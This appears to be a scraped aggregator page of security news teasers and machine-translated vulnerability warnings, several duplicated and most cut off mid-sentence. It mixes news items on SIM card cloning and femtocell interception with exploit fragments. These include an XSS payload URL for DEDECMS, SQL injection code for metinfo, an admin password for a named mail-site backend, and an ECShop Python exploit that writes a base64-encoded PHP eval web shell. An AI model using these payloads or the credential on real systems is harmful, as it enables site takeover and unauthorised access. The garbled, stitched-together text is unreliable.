SIM Card Vulnerability Could Affect Millions of Cell Phones

As many as 750 million mobile phones could be vulnerable to an encryption flaw on certain types of SIM cards, a German cryptographer and researcher warned over the weekend. Karsten Nohl, the founder of Security Research Labs in Berlin, unveiled preliminary research on his blog behind the flaw in...

Sim Card Cloning Hack affect 750 millions users around the world

SIM cards are among the most widely-deployed computing platforms with over 7 billion cards in active use. Cracking SIM cards has long been the Holy Grail of hackers because the tiny devices are located in phones and allow operators to identify and authenticate subscribers as they use networks. A...

Sim Card Cloning Hack affect 750 millions users around the world

SIM cards are among the most widely-deployed computing platforms with over 7 billion cards in active use. Cracking SIM cards has long been the Holy Grail of hackers because the tiny devices are located in phones and allow operators to identify and authenticate subscribers as they use networks. A...

struts2 latest vulnerability S2-0 1 6, S2-0 1 7 patch programme-vulnerability warning-the black bar safety net

Yesterday struts2 blast a good deal of vulnerability, with know Brother words to say is:“this afternoon the whole Chinese hacking ring like mad started to use this exploit black site, everyone can feel it.” See under the clouds the two days of data: ! Related reports: The disaster: the Chinese...

Download Tortilla Tool - Anonymize everything through Tor

Recent disclosures by whistleblower Edward Snowden claiming that internet traffic is being intercepted and used by the Americans in their war on terror, force to re-think about the user's privacy and online anonymity. It has been relatively common knowledge for years that wherever we go on the we...

Download Tortilla Tool - Anonymize everything through Tor

Recent disclosures by whistleblower Edward Snowden claiming that internet traffic is being intercepted and used by the Americans in their war on terror, force to re-think about the user's privacy and online anonymity. It has been relatively common knowledge for years that wherever we go on the we...

Verizon Network Extender femtocell hack intercepts calls

A $250 piece of hardware known as a femtocell, used to boost mobile phone signals for consumers and small businesses, is vulnerable to a complete takeover that attackers can use to intercept Internet traffic and cell phone calls. Two researchers from iSEC Partners are expected to provide more...

Microsoft to Pay First Bug Bounty for IE 11

Just a few weeks after announcing its first bug bounty programs, Microsoft is already set to pay out a reward to a researcher from Google who discovered a vulnerability in Internet Explorer 11. Microsoft officials say that they have several other qualifying entries for the IE 11 reward program...

DEDECMS v5. 7(2013-06-07) xss+csrf 0day-vulnerability warning-the black bar safety net

Bookmark management existxss+csrf http://localhost/dedecms/member/flinkmain.php xss:http://localhost/dedecms/member/flinkmain.php?dopost=addnew&title=test' onmouseover=alert1;'&url=test' onmouseover=alert1;' CSRF:img...

Android Vulnerability Bypasses App's Digital Signature

A vulnerability exists in the Android code base that would allow a hacker to modify a legitimate, digitally signed Android application package file APK and not break the app’s cryptographic signature—an action that would normally set off a red flag that something is amiss. Researchers at startup...

metinfo(m topology)of the enterprise website management system SQL injection vulnerability-vulnerability warning-the black bar safety net

The vulnerability occurs in the member/getpassword. php with admin/admin/getpassword. php file if$p $array = explode'.', base64decode$p; $sql="SELECT FROM $metadmintable WHERE adminid='".$ array0."'"; $sqlarray = $db-getone$sql; base64decode$pafter the value with explode split and then submitted ...

1 3 9 mailbox of the user experience center of the back of the weak password vulnerability warning-the black bar safety net

Brief description: Administrator password security awareness is weak, password is too simple. Detailed description: The background of the page easily obtained. http://uec.mail.10086.cn/admin/login.jsp User password: admin directly to the background, Vulnerability proof: ! !...

The word Chrome word plugin xss vulnerability-vulnerability warning-the black bar safety net

Brief description: Youdao dictionary zoned word translation chrome plug-in, select the special structure of the text, for word translation, and executes the associated code. Detailed description: Maybe you just want to copy the above code,and select them, does not want zoned word translation Youd...

Microsoft PowerPoint 2007 - Crash (PoC)

Title : Microsoft Office PowerPoint 2007 Crash PoC Date: 2013-01-12 Software Link: http://office.microsoft.com/ Author: Asesino04 Tested on: Windows XP SP2 Special Thanks To : Ness Oum El Bouaghi Bug Description: when you insert a sound to Microsoft office powerpoint 2007 ;the software will get...

Rain Nan travel network service management system v2013. 6. 1 1 The newest vulnerabilities 0day-vulnerability warning-the black bar safety net

Vulnerability-1 Vulnerability type: the storage typexss Code file: LstBook. Asp Detail code: ------------------------------------------------ If action="addbook" Then If TrimRequest"xm"="" Then Call alert"name cannot be empty","-1" End If If TrimRequest"sj"="" Then Call alert"phone can not be...

metinfo enterprise website management system SQL injection vulnerability-vulnerability warning-the black bar safety net

Brief description: metinfo enterprise website management systemSQL injectionvulnerability Detailed description: member/getpassword. php with admin/admin/getpassword. php file if$p $array = explode'.', base64decode$p; $sql="SELECT FROM $metadmintable WHERE adminid='".$ array0."'"; $sqlarray =...

Network fun online shopping system flagship version v6. 7 newest vulnerabilities 0day-vulnerability warning-the black bar safety net

I haven't play the audit, so download the source code find axssto play....!!! Vulnerability type: persistentxss Registry there are storedxss Specific code: rs"username"=trimrequest"username" rs"userpassword"=md5trimrequest"userpassword" rs"useremail"=trimrequest"useremail"...

easethink payment. php injection vulnerability analysis attached to the use of the EXP-bug warning-the black bar safety net

Vulnerability author: leehenwu 0 1 vulnerability analysis Vulnerabilities in payment. php file elseif$REQUEST'act'=='return' //payment jump back to page $classname = $REQUEST'classname'; $paymentinfo = $GLOBALS'db'-getRowCached"select from ". DBPREFIX."payment where classname = '".$ classname."'"...

Android ICS adb debugging tools System Restore directory traversal vulnerability, can provide right-vulnerability warning-the black bar safety net

原 漏洞 信息 来自 于 [email protected] Vulnerability description: adb Android Debug Bridge backup/restore option allows you to backup and restore applications, including system applications. Backup files to tar. the zlib PACKAGE, files the default suffix is . ab. When a backup contains a file, the file...

ECShop v2. 7. 3 RELEASE 2 0 1 2 1 1 0 6 EXP-vulnerability warning-the black bar safety net

-- coding:gbk - import httplib2 from urllib import urlencode def PostDataurl: url=url+'/admin/template. php? act=updatelibrary' Defined to submit the data html='if fputsfopenbase64decodeZnVjay5waHA,w,base64decodePD9waHAgQGV2YWwoJF9QT1NUW2Z1Y2tdktsgpz5mdwnr1 6 0 8 6/if'...